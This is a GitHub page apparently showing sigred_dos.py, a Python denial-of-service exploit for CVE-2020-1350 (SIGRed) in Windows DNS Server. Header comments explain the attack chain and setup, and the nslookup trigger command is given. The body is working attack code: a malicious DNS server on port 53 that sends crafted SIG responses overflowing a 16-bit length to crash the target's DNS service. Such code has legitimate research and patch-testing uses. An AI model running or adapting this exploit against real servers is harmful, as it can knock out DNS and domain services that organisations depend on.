-
Notifications
You must be signed in to change notification settings - Fork 48
/
Copy pathsigred_dos.py
171 lines (145 loc) · 5.93 KB
/
sigred_dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
# CVE-2020-1350 (SIGRed)
# Windows DNS DoS Exploit
#
# Credits for the bug are entirely down to Check Point Research (@_cpresearch_) who did an incredible writeup of this bug (props to @sagitz_ for the post)
# Their writeup can be found at https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/
#
#
# This exploit was written by @maxpl0it
#
# Quick summary of how it works:
# 1) On the LAN you trigger a DNS request (more specifically, a request for the SIG records) for an evil domain (for example 9.evil_domain.com)
# 2) This gets sent to the vulnerable Windows server's DNS server
# 3) The vulnerable server sends a request to whatever DNS it forwards requests to (usually the standard Google IPs)
# 4) The Google DNS responds with the nameservers for the evil domain
# 5) The vulnerable server then acts as a DNS client and sends a request to the evil DNS server
# 6) The evil server responds with a payload that overflows a 2-byte number, causing a smaller allocation to take place than is required
# 7) The signature is copied over and things break (of course), crashing the vulnerable server's DNS server
#
#
# General Setup:
# --------------
# This exploit requires you to set up a domain with its own nameservers pointing to your server.
#
# Set up the server and run this script. It will listen on port 53 on both TCP and UDP
# If you get an error saying that the ports are busy, use netstat -pa to figure out what's listening on the domain ports
# (probably systemd-resolved) and disable + stop it. If nothing's listening on the server, make sure you killed all instances of
# this script before re-running.
#
# For example, I ran `python sigred_dos.py ibrokethe.net` to start the malicious DNS server
#
#
# Execution:
# ----------
# In order to trigger the vulnerability on the Windows DNS server, run `nslookup -type=sig 9.your_domain_name_here dns_server_to_target`
# For example, I ran `nslookup -type=sig 9.ibrokethe.net 127.0.0.1` as I was running this on the server.
import socket
import sys
import threading
import struct
domain = None
domain_compressed = None
def setup():
global domain_compressed
# Setup
domain_split = [chr(len(i)) + i for i in domain.split(".")]
domain_compressed = "".join(domain_split) + "\x00"
# The TCP port is contacted second
def tcp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 53))
sock.listen(50)
response = ""
while True:
try:
connection, client_address = sock.accept()
print("Received TCP Connection")
data = ""
# SIG Contents
sig = "\x00\x01" # Type covered
sig += "\x05" # Algorithm - RSA/SHA1
sig += "\x00" # Labels
sig += "\x00\x00\x00\x20" # TTL
sig += "\x68\x76\xa2\x1f" # Signature Expiration
sig += "\x5d\x2c\xca\x1f" # Signature Inception
sig += "\x9e\x04" # Key Tag
sig += "\xc0\x0d" # Signers Name - Points to the '9' in 9.domain.
sig += ("\x00"*(19 - len(domain)) + ("\x0f" + "\xff"*15)*5).ljust(65465 - len(domain_compressed), "\x00") # Signature - Here be overflows!
# SIG Header
hdr = "\xc0\x0c" # Points to "9.domain"
hdr += "\x00\x18" # Type: SIG
hdr += "\x00\x01" # Class: IN
hdr += "\x00\x00\x00\x20" # TTL
hdr += struct.pack('>H', len(sig)) # Data Length
# DNS Header
response = "\x81\xa0" # Flags: Response + Truncated + Recursion Desired + Recursion Available
response += "\x00\x01" # Questions
response += "\x00\x01" # Answer RRs
response += "\x00\x00" # Authority RRs
response += "\x00\x00" # Additional RRs
response += "\x019" + domain_compressed # Name (9.domain)
response += "\x00\x18" # Type: SIG
response += "\x00\x01" # Class: IN
try:
data += connection.recv(65535)
except:
pass
len_msg = len(response + hdr + sig) + 2 # +2 for the transaction ID
# Msg Size + Transaction ID + DNS Headers + Answer Headers + Answer (Signature)
connection.sendall(struct.pack('>H', len_msg) + data[2:4] + response + hdr + sig)
connection.close()
except:
pass
# The UDP server is contacted first
def udp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = '0.0.0.0'
server_port = 53
response = "\x83\x80" # Flags: Response + Truncated + Recursion Desired + Recursion Available
response += "\x00\x01" # Questions
response += "\x00\x00" # Answer RRs
response += "\x00\x01" # Authority RRs
response += "\x00\x00" # Additional RRs
# Queries
response += "\x019" + domain_compressed # Name
response += "\x00\x18" # Type: SIG
response += "\x00\x01" # Class: IN
# Data
data = "\x03ns1\xc0\x0c" # ns1 + pointer to 4.ibrokethe.net
data += "\x03ms1\xc0\x0c" # ms1 + pointer to 4.ibrokethe.net
data += "\x0b\xff\xb4\x5f" # Serial Number
data += "\x00\x00\x0e\x10" # Refresh Interval
data += "\x00\x00\x2a\x30" # Response Interval
data += "\x00\x01\x51\x80" # Expiration Limit
data += "\x00\x00\x00\x20" # Minimum TTL
# Authoritative Nameservers
response += "\xc0\x0c" # Compressed pointer to "4.ibrokethe.net"
response += "\x00\x06" # Type: SOA
response += "\x00\x01" # Class: IN
response += "\x00\x00\x00\x20" # TTL
response += struct.pack('>H', len(data)) # Data Length
sock.bind((server_address, server_port))
while True:
try:
recvd, client_address = sock.recvfrom(65535)
print("Received UDP connection")
if len(recvd) > 2:
sent = sock.sendto(recvd[:2] + response + data, client_address)
except:
pass
if __name__ == "__main__":
if len(sys.argv) != 2:
print("python sigred_dos.py evil_domain") # For example, I ran python `sigred_dos.py ibrokethe.net`
exit()
# Domain name must be *a maximum* of 19 characters in length
domain = sys.argv[1]
if len(domain) > 19:
print("Domain length must be less than 20 characters")
setup()
# Sets up two servers: one on UDP port 53 and one on TCP port 53
first = threading.Thread(target=udp_server)
second = threading.Thread(target=tcp_server)
first.start()
second.start()
first.join()
second.join()